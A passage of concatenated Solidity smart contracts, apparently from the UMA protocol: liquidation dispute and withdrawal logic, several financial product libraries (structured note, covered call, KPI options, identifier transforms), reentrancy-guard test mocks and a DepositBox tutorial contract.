liquidatedCollateral.rawValue, getCurrentTime() ); // Destroy tokens tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue); tokenCurrency.burn(tokensLiquidated.rawValue); // Pull final fee from liquidator. collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue); } /** * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond * and pay a fixed final fee charged on each price request. * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes. * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute * bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation. * @param liquidationId of the disputed liquidation. * @param sponsor the address of the sponsor whose liquidation is being disputed. * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond). */ function dispute(uint256 liquidationId, address sponsor) external disputable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId); // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees. FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul( _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral) ); _addCollateral(rawLiquidationCollateral, disputeBondAmount); // Request a price from DVM. Liquidation is pending dispute until DVM returns a price. disputedLiquidation.state = Status.Disputed; disputedLiquidation.disputer = msg.sender; // Enqueue a request with the DVM. _requestOraclePriceLiquidation(disputedLiquidation.liquidationTime); emit LiquidationDisputed( sponsor, disputedLiquidation.liquidator, msg.sender, liquidationId, disputeBondAmount.rawValue ); totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee); // Pay the final fee for requesting price from the DVM. _payFinalFees(msg.sender, disputedLiquidation.finalFee); // Transfer the dispute bond amount from the caller to this contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue); } /** * @notice After a dispute has settled or after a non-disputed liquidation has expired, * anyone can call this method to disperse payments to the sponsor, liquidator, and disdputer. * @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment. * If the dispute FAILED: only the liquidator can receive payment. * This method will revert if rewards have already been dispersed. * @param liquidationId uniquely identifies the sponsor's liquidation. * @param sponsor address of the sponsor associated with the liquidation. * @return data about rewards paid out. */ function withdrawLiquidation(uint256 liquidationId, address sponsor) public withdrawable(liquidationId, sponsor) fees() nonReentrant() returns (RewardsData memory) { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settles the liquidation if necessary. This call will revert if the price has not resolved yet. _settle(liquidationId, sponsor); // Calculate rewards as a function of the TRV. // Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata. FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral); FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice; FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation); FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation); FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage); FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation); // There are three main outcome states: either the dispute succeeded, failed or was not updated. // Based on the state, different parties of a liquidation receive different amounts. // After assigning rewards based on the liquidation status, decrease the total collateral held in this contract // by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes // precision loss. RewardsData memory rewards; if (liquidation.state == Status.DisputeSucceeded) { // If the dispute is successful then all three users should receive rewards: // Pay DISPUTER: disputer reward + dispute bond + returned final fee rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee); // Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue)); // Pay LIQUIDATOR: TRV - dispute reward - sponsor reward // If TRV > Collateral, then subtract rewards from collateral // NOTE: `payToLiquidator` should never be below zero since we enforce that // (sponsorDisputePct+disputerDisputePct) <= 1 in the constructor when these params are set. rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor); rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer); collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue); // In the case of a failed dispute only the liquidator can withdraw. } else if (liquidation.state == Status.DisputeFailed) { // Pay LIQUIDATOR: collateral + dispute bond + returned final fee rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); // If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this // state as a dispute failed and the liquidator can withdraw. } else if (liquidation.state == Status.NotDisputed) { // Pay LIQUIDATOR: collateral + returned final fee rewards.payToLiquidator = collateral.add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); } emit LiquidationWithdrawn( msg.sender, rewards.paidToLiquidator.rawValue, rewards.paidToDisputer.rawValue, rewards.paidToSponsor.rawValue, liquidation.state, settlementPrice.rawValue ); // Free up space after collateral is withdrawn by removing the liquidation object from the array. delete liquidations[sponsor][liquidationId]; return rewards; } /** * @notice Gets all liquidation information for a given sponsor address. * @param sponsor address of the position sponsor. * @return liquidationData array of all liquidation information for the given sponsor address. */ function getLiquidations(address sponsor) external view nonReentrantView() returns (LiquidationData[] memory liquidationData) { return liquidations[sponsor]; } /** * @notice Accessor method to calculate a transformed collateral requirement using the finanical product library specified during contract deployment. If no library was provided then no modification to the collateral requirement is done. * @param price input price used as an input to transform the collateral requirement. * @return transformedCollateralRequirement collateral requirement with transformation applied to it. * @dev This method should never revert. */ function transformCollateralRequirement(FixedPoint.Unsigned memory price) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _transformCollateralRequirement(price); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // This settles a liquidation if it is in the Disputed state. If not, it will immediately return. // If the liquidation is in the Disputed state, but a price is not available, this will revert. function _settle(uint256 liquidationId, address sponsor) internal { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settlement only happens when state == Disputed and will only happen once per liquidation. // If this liquidation is not ready to be settled, this method should return immediately. if (liquidation.state != Status.Disputed) { return; } // Get the returned price from the oracle. If this has not yet resolved will revert. liquidation.settlementPrice = _getOraclePriceLiquidation(liquidation.liquidationTime); // Find the value of the tokens in the underlying collateral. FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(liquidation.settlementPrice); // The required collateral is the value of the tokens in underlying * required collateral ratio. The Transform // Collateral requirement method applies a from the financial Product library to change the scaled the collateral // requirement based on the settlement price. If no library was specified when deploying the emp then this makes no change. FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(_transformCollateralRequirement(liquidation.settlementPrice)); // If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid) // Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals. bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral); liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed; emit DisputeSettled( msg.sender, sponsor, liquidation.liquidator, liquidation.disputer, liquidationId, disputeSucceeded ); } function _pfc() internal view override returns (FixedPoint.Unsigned memory) { return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral)); } function _getLiquidationData(address sponsor, uint256 liquidationId) internal view returns (LiquidationData storage liquidation) { LiquidationData[] storage liquidationArray = liquidations[sponsor]; // Revert if the caller is attempting to access an invalid liquidation // (one that has never been created or one has never been initialized). require( liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized, "Invalid liquidation ID" ); return liquidationArray[liquidationId]; } function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) { return liquidation.liquidationTime.add(liquidationLiveness); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _disputable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed), "Liquidation not disputable" ); } function _withdrawable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); Status state = liquidation.state; // Must be disputed or the liquidation has passed expiry. require( (state > Status.NotDisputed) || ((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)), "Liquidation not withdrawable" ); } function _transformCollateralRequirement(FixedPoint.Unsigned memory price) internal view returns (FixedPoint.Unsigned memory) { if (!address(financialProductLibrary).isContract()) return collateralRequirement; try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns ( FixedPoint.Unsigned memory transformedCollateralRequirement ) { return transformedCollateralRequirement; } catch { return collateralRequirement; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title Structured Note Financial Product Library * @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The * contract holds say 1 WETH in collateral and pays out that 1 WETH if, at expiry, ETHUSD is below a set strike. If * ETHUSD is above that strike, the contract pays out a given dollar amount of ETH. * Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH * If ETHUSD < $400 at expiry, token is redeemed for 1 ETH. * If ETHUSD >= $400 at expiry, token is redeemed for $400 worth of ETH, as determined by the DVM. */ contract StructuredNoteFinancialProductLibrary is FinancialProductLibrary, Ownable, Lockable { mapping(address => FixedPoint.Unsigned) financialProductStrikes; /** * @notice Enables the deployer of the library to set the strike price for an associated financial product. * @param financialProduct address of the financial product. * @param strikePrice the strike price for the structured note to be applied to the financial product. * @dev Note: a) Only the owner (deployer) of this library can set new strike prices b) A strike price cannot be 0. * c) A strike price can only be set once to prevent the deployer from changing the strike after the fact. * d) financialProduct must exposes an expirationTimestamp method. */ function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice) public onlyOwner nonReentrant() { require(strikePrice.isGreaterThan(0), "Cant set 0 strike"); require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductStrikes[financialProduct] = strikePrice; } /** * @notice Returns the strike price associated with a given financial product address. * @param financialProduct address of the financial product. * @return strikePrice for the associated financial product. */ function getStrikeForFinancialProduct(address financialProduct) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return financialProductStrikes[financialProduct]; } /** * @notice Returns a transformed price by applying the structured note payout structure. * @param oraclePrice price from the oracle to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice the input oracle price with the price transformation logic applied to it. */ function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with // each token backed 1:1 by collateral currency. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return FixedPoint.fromUnscaledUint(1); } if (oraclePrice.isLessThan(strike)) { return FixedPoint.fromUnscaledUint(1); } else { // Token expires to be worth strike $ worth of collateral. // eg if ETHUSD is $500 and strike is $400, token is redeemable for 400/500 = 0.8 WETH. return strike.div(oraclePrice); } } /** * @notice Returns a transformed collateral requirement by applying the structured note payout structure. If the price * of the structured note is greater than the strike then the collateral requirement scales down accordingly. * @param oraclePrice price from the oracle to transform the collateral requirement. * @param collateralRequirement financial products collateral requirement to be scaled according to price and strike. * @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // If the price is less than the strike than the original collateral requirement is used. if (oraclePrice.isLessThan(strike)) { return collateralRequirement; } else { // If the price is more than the strike then the collateral requirement is scaled by the strike. For example // a strike of $400 and a CR of 1.2 would yield: // ETHUSD = $350, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2 // ETHUSD = $400, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2 // ETHUSD = $425, payout is 0.941 WETH (worth $400). CR is multiplied by 0.941. resulting CR = 1.1292 // ETHUSD = $500, payout is 0.8 WETH (worth $400). CR multiplied by 0.8. resulting CR = 0.96 return collateralRequirement.mul(strike.div(oraclePrice)); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title Pre-Expiration Identifier Transformation Financial Product Library * @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending * on when a price request is made. If the request is made before expiration then a transformation is made to the identifier * & if it is at or after expiration then the original identifier is returned. This library enables self referential * TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration. */ contract PreExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable { mapping(address => bytes32) financialProductTransformedIdentifiers; /** * @notice Enables the deployer of the library to set the transformed identifier for an associated financial product. * @param financialProduct address of the financial product. * @param transformedIdentifier the identifier for the financial product to be used if the contract is pre expiration. * @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A * transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct * must expose an expirationTimestamp method. */ function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier) public nonReentrant() { require(transformedIdentifier != "", "Cant set to empty transformation"); require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier; } /** * @notice Returns the transformed identifier associated with a given financial product address. * @param financialProduct address of the financial product. * @return transformed identifier for the associated financial product. */ function getTransformedIdentifierForFinancialProduct(address financialProduct) public view nonReentrantView() returns (bytes32) { return financialProductTransformedIdentifiers[financialProduct]; } /** * @notice Returns a transformed price identifier if the contract is pre-expiration and no transformation if post. * @param identifier input price identifier to be transformed. * @param requestTime timestamp the identifier is to be used at. * @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it. */ function transformPriceIdentifier(bytes32 identifier, uint256 requestTime) public view override nonReentrantView() returns (bytes32) { require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation"); // If the request time is before contract expiration then return the transformed identifier. Else, return the // original price identifier. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return financialProductTransformedIdentifiers[msg.sender]; } else { return identifier; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title Post-Expiration Identifier Transformation Financial Product Library * @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending * on when a price request is made. If the request is made at or after expiration then a transformation is made to the identifier * & if it is before expiration then the original identifier is returned. This library enables self referential * TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration. */ contract PostExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable { mapping(address => bytes32) financialProductTransformedIdentifiers; /** * @notice Enables the deployer of the library to set the transformed identifier for an associated financial product. * @param financialProduct address of the financial product. * @param transformedIdentifier the identifier for the financial product to be used if the contract is post expiration. * @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A * transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct * must expose an expirationTimestamp method. */ function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier) public nonReentrant() { require(transformedIdentifier != "", "Cant set to empty transformation"); require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier; } /** * @notice Returns the transformed identifier associated with a given financial product address. * @param financialProduct address of the financial product. * @return transformed identifier for the associated financial product. */ function getTransformedIdentifierForFinancialProduct(address financialProduct) public view nonReentrantView() returns (bytes32) { return financialProductTransformedIdentifiers[financialProduct]; } /** * @notice Returns a transformed price identifier if the contract is post-expiration and no transformation if pre. * @param identifier input price identifier to be transformed. * @param requestTime timestamp the identifier is to be used at. * @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it. */ function transformPriceIdentifier(bytes32 identifier, uint256 requestTime) public view override nonReentrantView() returns (bytes32) { require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation"); // If the request time is after contract expiration then return the transformed identifier. Else, return the // original price identifier. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return identifier; } else { return financialProductTransformedIdentifiers[msg.sender]; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title KPI Options Financial Product Library * @notice Adds custom tranformation logic to modify the price and collateral requirement behavior of the expiring multi party contract. * If a price request is made pre-expiry, the price should always be set to 2 and the collateral requirement should be set to 1. * Post-expiry, the collateral requirement is left as 1 and the price is left unchanged. */ contract KpiOptionsFinancialProductLibrary is FinancialProductLibrary, Lockable { /** * @notice Returns a transformed price for pre-expiry price requests. * @param oraclePrice price from the oracle to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice the input oracle price with the price transformation logic applied to it. */ function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { // If price request is made before expiry, return 2. Thus we can keep the contract 100% collateralized with // each token backed 1:2 by collateral currency. Post-expiry, leave unchanged. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return FixedPoint.fromUnscaledUint(2); } else { return oraclePrice; } } /** * @notice Returns a transformed collateral requirement that is set to be equivalent to 2 tokens pre-expiry. * @param oraclePrice price from the oracle to transform the collateral requirement. * @param collateralRequirement financial products collateral requirement to be scaled to a flat rate. * @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { // Always return 1. return FixedPoint.fromUnscaledUint(1); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title CoveredCall Financial Product Library * @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The * contract holds say 1 WETH in collateral and pays out a portion of that, at expiry, if ETHUSD is above a set strike. If * ETHUSD is below that strike, the contract pays out 0. The fraction paid out if above the strike is defined by * (oraclePrice - strikePrice) / oraclePrice; * Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH. * If ETHUSD = $600 at expiry, the call is $200 in the money, and the contract pays out 0.333 WETH (worth $200). * If ETHUSD = $800 at expiry, the call is $400 in the money, and the contract pays out 0.5 WETH (worth $400). * If ETHUSD =< $400 at expiry, the call is out of the money, and the contract pays out 0 WETH. */ contract CoveredCallFinancialProductLibrary is FinancialProductLibrary, Lockable { mapping(address => FixedPoint.Unsigned) private financialProductStrikes; /** * @notice Enables any address to set the strike price for an associated financial product. * @param financialProduct address of the financial product. * @param strikePrice the strike price for the covered call to be applied to the financial product. * @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0. * c) A strike price can only be set once to prevent the deployer from changing the strike after the fact. * d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool. * e) financialProduct must expose an expirationTimestamp method. */ function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice) public nonReentrant() { require(strikePrice.isGreaterThan(0), "Cant set 0 strike"); require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductStrikes[financialProduct] = strikePrice; } /** * @notice Returns the strike price associated with a given financial product address. * @param financialProduct address of the financial product. * @return strikePrice for the associated financial product. */ function getStrikeForFinancialProduct(address financialProduct) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return financialProductStrikes[financialProduct]; } /** * @notice Returns a transformed price by applying the call option payout structure. * @param oraclePrice price from the oracle to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice the input oracle price with the price transformation logic applied to it. */ function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with // each token backed 1:1 by collateral currency. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return FixedPoint.fromUnscaledUint(1); } if (oraclePrice.isLessThanOrEqual(strike)) { return FixedPoint.fromUnscaledUint(0); } else { // Token expires to be worth the fraction of a collateral token that's in the money. // eg if ETHUSD is $500 and strike is $400, token is redeemable for 100/500 = 0.2 WETH (worth $100). // Note: oraclePrice cannot be 0 here because it would always satisfy the if above because 0 <= x is always // true. return (oraclePrice.sub(strike)).div(oraclePrice); } } /** * @notice Returns a transformed collateral requirement by applying the covered call payout structure. * @param oraclePrice price from the oracle to transform the collateral requirement. * @param collateralRequirement financial products collateral requirement to be scaled according to price and strike. * @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // Always return 1 because option must be collateralized by 1 token. return FixedPoint.fromUnscaledUint(1); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/Lockable.sol"; import "./ReentrancyAttack.sol"; // Tests reentrancy guards defined in Lockable.sol. // Extends https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyMock.sol. contract ReentrancyMock is Lockable { uint256 public counter; constructor() public { counter = 0; } function callback() external nonReentrant { _count(); } function countAndSend(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("callback()")); attacker.callSender(func); } function countAndCall(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("getCount()")); attacker.callSender(func); } function countLocalRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); countLocalRecursive(n - 1); } } function countThisRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1)); require(success, "ReentrancyMock: failed call"); } } function countLocalCall() public nonReentrant { getCount(); } function countThisCall() public nonReentrant { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("getCount()")); require(success, "ReentrancyMock: failed call"); } function getCount() public view nonReentrantView returns (uint256) { return counter; } function _count() private { counter += 1; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; // Tests reentrancy guards defined in Lockable.sol. // Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyAttack.sol. contract ReentrancyAttack { function callSender(bytes4 data) public { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = msg.sender.call(abi.encodeWithSelector(data)); require(success, "ReentrancyAttack: failed call"); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../common/FeePayer.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../oracle/interfaces/IdentifierWhitelistInterface.sol"; import "../../oracle/interfaces/OracleInterface.sol"; import "../../oracle/implementation/ContractCreator.sol"; /** * @title Token Deposit Box * @notice This is a minimal example of a financial template that depends on price requests from the DVM. * This contract should be thought of as a "Deposit Box" into which the user deposits some ERC20 collateral. * The main feature of this box is that the user can withdraw their ERC20 corresponding to a desired USD amount. * When the user wants to make a withdrawal, a price request is enqueued with the UMA DVM. * For simplicty, the user is constrained to have one outstanding withdrawal request at any given time. * Regular fees are charged on the collateral in the deposit box throughout the lifetime of the deposit box, * and final fees are charged on each price request. * * This example is intended to accompany a technical tutorial for how to integrate the DVM into a project. * The main feature this demo serves to showcase is how to build a financial product on-chain that "pulls" price * requests from the DVM on-demand, which is an implementation of the "priceless" oracle framework. * * The typical user flow would be: * - User sets up a deposit box for the (wETH - USD) price-identifier. The "collateral currency" in this deposit * box is therefore wETH. * The user can subsequently make withdrawal requests for USD-denominated amounts of wETH. * - User deposits 10 wETH into their deposit box. * - User later requests to withdraw $100 USD of wETH. * - DepositBox asks DVM for latest wETH/USD exchange rate. * - DVM resolves the exchange rate at: 1 wETH is worth 200 USD. * - DepositBox transfers 0.5 wETH to user. */ contract DepositBox is FeePayer, ContractCreator { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; // Represents a single caller's deposit box. All collateral is held by this contract. struct DepositBoxData { // Requested amount of collateral, denominated in quote asset of the price identifier. // Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then // this represents a withdrawal request for 100 USD worth of wETH. FixedPoint.Unsigned withdrawalRequestAmount; // Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`. uint256 requestPassTimestamp; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; } // Maps addresses to their deposit boxes. Each address can have only one position. mapping(address => DepositBoxData) private depositBoxes; // Unique identifier for DVM price feed ticker. bytes32 private priceIdentifier; // Similar to the rawCollateral in DepositBoxData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned private rawTotalDepositBoxCollateral; // This blocks every public state-modifying method until it flips to true, via the `initialize()` method. bool private initialized; /**************************************** * EVENTS * ****************************************/ event NewDepositBox(address indexed user); event EndedDepositBox(address indexed user); event Deposit(address indexed user, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp); event RequestWithdrawalExecuted( address indexed user, uint256 indexed collateralAmount, uint256 exchangeRate, uint256 requestPassTimestamp ); event RequestWithdrawalCanceled( address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp ); /**************************************** * MODIFIERS * ****************************************/ modifier noPendingWithdrawal(address user) { _depositBoxHasNoPendingWithdrawal(user); _; } modifier isInitialized() { _isInitialized(); _; } /**************************************** * PUBLIC FUNCTIONS * ****************************************/ /** * @notice Construct the DepositBox. * @param _collateralAddress ERC20 token to be deposited. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited. * The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20 * currency deposited into this account, and it is denominated in the "quote" asset on withdrawals. * An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, bytes32 _priceIdentifier, address _timerAddress ) public ContractCreator(_finderAddress) FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier"); priceIdentifier = _priceIdentifier; } /** * @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required * to make price requests in production environments. * @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM. * Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role * in order to register with the `Registry`. But, its address is not known until after deployment. */ function initialize() public nonReentrant() { initialized = true; _registerContract(new address[](0), address(this)); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box. * @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the 